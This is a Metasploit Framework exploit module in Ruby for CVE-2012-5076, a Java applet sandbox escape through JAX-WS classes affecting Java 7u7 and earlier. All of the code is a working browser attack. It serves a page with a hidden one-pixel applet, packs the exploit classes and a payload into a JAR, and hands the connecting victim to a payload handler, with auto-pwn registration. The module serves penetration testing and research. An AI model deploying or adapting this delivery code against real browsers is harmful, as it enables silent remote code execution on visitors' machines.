Java Applet JAX-WS Remote Code Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({ :javascript => false })

    def initialize( info = {} )
        super( update_info( info,
            'Name'          => 'Java Applet JAX-WS Remote Code Execution',
            'Description'   => %q{
                    This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
                code outside of the sandbox as exploited in the wild in November of 2012. The
                vulnerability affects Java version 7u7 and earlier.
            },
            'License'       => MSF_LICENSE,
            'Author'        =>
                [
                    'Unknown', # Vulnerability Discovery
                    'juan vazquez' # metasploit module
                ],
            'References'    =>
                [
                    [ 'CVE', '2012-5076' ],
                    [ 'OSVDB', '86363' ],
                    [ 'BID', '56054' ],
                    [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
                    [ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ]
                ],
            'Platform'      => [ 'java', 'win' ],
            'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
            'Targets'       =>
                [
                    [ 'Generic (Java Payload)',
                        {
                            'Arch' => ARCH_JAVA,
                        }
                    ],
                    [ 'Windows Universal',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'win'
                        }
                    ],
                    [ 'Linux x86',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'linux'
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Oct 16 2012'
            ))
    end


    def on_request_uri( cli, request )
        if not request.uri.match(/\.jar$/i)
            if not request.uri.match(/\/$/)
                send_redirect(cli, get_resource() + '/', '')
                return
            end

            print_status("#{self.name} handling request")

            send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
            return
        end

        paths = [
            [ "Exploit.class" ],
            [ "MyPayload.class" ]
        ]

        p = regenerate_payload(cli)

        jar  = p.encoded_jar

        paths.each do |path|
            1.upto(path.length - 1) do |idx|
                full = path[0,idx].join("/") + "/"
                if !(jar.entries.map{|e|e.name}.include?(full))
                    jar.add_file(full, '')
                end
            end
            fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb")
            data = fd.read(fd.stat.size)
            jar.add_file(path.join("/"), data)
            fd.close
        end

        print_status("Sending Applet.jar")
        send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

        handler( cli )
    end

    def generate_html
        jar_name = rand_text_alpha(rand(6)+3) + ".jar"
        html  = "<html><head></head>"
        html += "<body>"
        html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
        html += "</applet></body></html>"
        return html
    end

end